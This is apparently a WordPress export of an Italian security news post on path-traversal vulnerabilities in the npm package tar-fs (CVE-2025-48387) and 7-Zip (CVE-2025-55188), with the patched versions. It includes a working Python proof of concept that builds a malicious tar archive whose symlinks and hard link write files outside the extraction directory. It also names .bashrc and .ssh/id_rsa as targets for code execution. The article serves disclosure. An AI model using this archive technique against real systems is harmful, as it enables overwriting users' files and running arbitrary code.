{"id":140951,"date":"2025-08-18T11:12:07","date_gmt":"2025-08-18T09:12:07","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga"},"modified":"2025-08-18T11:12:07","modified_gmt":"2025-08-18T09:12:07","slug":"uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/novosti-interneta\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","title":{"rendered":"Vulnerabilit\u00e0 in tar-fs e 7-Zip che consentono di scrivere file al di fuori della directory di base","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Nel pacchetto NPM tar-fs \u00e8 stata identificata una vulnerabilit\u00e0 (CVE-2025-48387) che consente, durante l'estrazione di un archivio tar opportunamente formattato, di scrivere file in qualsiasi parte del filesystem, senza limitazioni rispetto alla directory di estrazione (fino ai limiti di accesso dell'utente corrente). La vulnerabilit\u00e0 pu\u00f2 anche essere utilizzata per sovrascrivere file esistenti; ad esempio, file come «.ssh\/id_rsa» o «.bashrc» nella home directory dell'utente possono essere modificati per eseguire codice arbitrario nel sistema. <\/p>\n
Alla problematica \u00e8 stato assegnato un livello critico di pericolo considerando che il pacchetto tar-fs ha 23 milioni di download a settimana ed \u00e8 utilizzato come dipendenza in 1155 progetti. La vulnerabilit\u00e0 \u00e8 stata corretta nelle versioni 3.0.9, 2.1.3 e 1.16.5, rilasciate a maggio, ma le informazioni sulla vulnerabilit\u00e0 sono state rese pubbliche solo quasi 3 mesi dopo. <\/p>\n
La vulnerabilit\u00e0 \u00e8 causata da controlli insufficienti sui collegamenti simbolici e rigidi presenti nell'archivio, per verificare se escono dai limiti della directory destinata all'estrazione. Due collegamenti simbolici vengono usati per bypassare i controlli: il primo punta alla radice della directory di estrazione dell'archivio («.»), mentre il secondo \u00e8 creato in modo relativo al primo e utilizza nella sua denominazione i caratteri «..\/» per uscire oltre la directory di base. Ad esempio, il primo collegamento «noop\/noop\/noop» punta a «.», mentre il secondo «noop\/noop\/noop\/..\/..\/..\/» viene risolto come «.\/..\/..\/..\/». Per organizzare la sovrascrittura di file nell'archivio, pu\u00f2 essere creato un collegamento rigido che punta a un file esterno relativo al secondo collegamento simbolico. import tarfile import io with tarfile.open(«poc.tar», mode=»x») as tar: root = tarfile.TarInfo(«root») root.linkname = («noop\/» * 15) + («..\/» * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo(«noop») noop.linkname = «.» noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo(«hardflag») hard.linkname = «root\/home\/username\/flag\/flag» hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b»overwrite\n» overwrite = tarfile.TarInfo(«hardflag») overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b»new!\n» newfile = tarfile.TarInfo(«root\/home\/username\/flag\/newfile») newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content)) <\/p>\n
Una vulnerabilit\u00e0 simile (CVE-2025-55188) \u00e8 stata individuata nel programma di compressione 7-Zip. Anche in 7-Zip, per scrivere file al di fuori della directory di base, possono essere utilizzati collegamenti simbolici che contengono la sequenza «..\/» nel percorso del file. Il problema pu\u00f2 essere sfruttato durante l'estrazione di qualsiasi archivio che supporti collegamenti simbolici, come zip, tar, 7z e rar. Il problema \u00e8 stato risolto nella versione 7-Zip 25.01. \n Fonte: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"